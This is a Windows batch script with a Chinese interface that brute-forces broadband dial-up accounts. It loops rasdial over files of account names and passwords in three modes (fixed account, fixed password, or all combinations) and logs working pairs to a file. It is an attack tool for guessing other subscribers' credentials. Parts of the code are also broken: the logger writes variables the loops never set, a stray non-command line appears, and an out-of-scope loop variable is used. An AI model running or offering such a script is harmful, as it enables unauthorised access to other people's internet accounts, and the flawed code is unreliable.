@title
@echo off & setlocal enabledelayedexpansion
set userfile=宽带账号.txt
set passfile=宽带密码.txt
set pppname=宽带连接
set outfile=成功连接.txt
:choose
echo.&echo 宽带账号及密码连接检测批处理
echo.&echo    1 - 宽带账号固定,密码从文本 %passfile% 里提取逐一测试
echo.&echo    2 - 宽带密码固定,账号从文本 %userfile% 里提取逐一测试
echo.&echo    3 - 宽带账号及密码均从以上文本里提取逐一测试
echo.&echo    0 - 退出批处理
echo.&set /p choose=请输入你选择序号并回车:
if %choose% equ 0 exit
if %choose% equ 1 goto :user1passx
if %choose% equ 2 goto :pass1userx
if %choose% equ 3 goto :allx
cls&echo.&echo 输入的序号有误,请重新选择!&set choose=&goto :choose
:user1passx
set user=宽带固定账号
call :check0
for /f "tokens=*" %%a in ('type "%passfile%"') do (rasdial "%pppname%" %user% %%a >nul & call :check1)
goto :exit
:pass1userx
set pass=宽带固定密码
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass% >nul & call :check1)
goto :exit
:allx
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (
for /f "tokens=*" %%b in ('type "%passfile%"') do (rasdial "%pppname%" %%a %%b >nul & call :check1)
)
goto :exit
:exit
rasdial "%pppname%" %user% %pass% >nul
echo.&echo 所有操作完毕,按任意键退出&pause>nul&exit
:check0
rasdial|find "已连接">nul
if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&set pppname=%%a&goto :eof)
goto :eof
:check1
rasdial|find "已连接">nul
建立宽带连接
if %errorlevel% equ 0 echo>>"%outfile%" %user%=%pass%
rasdial "%%a" /d >nul
goto :eof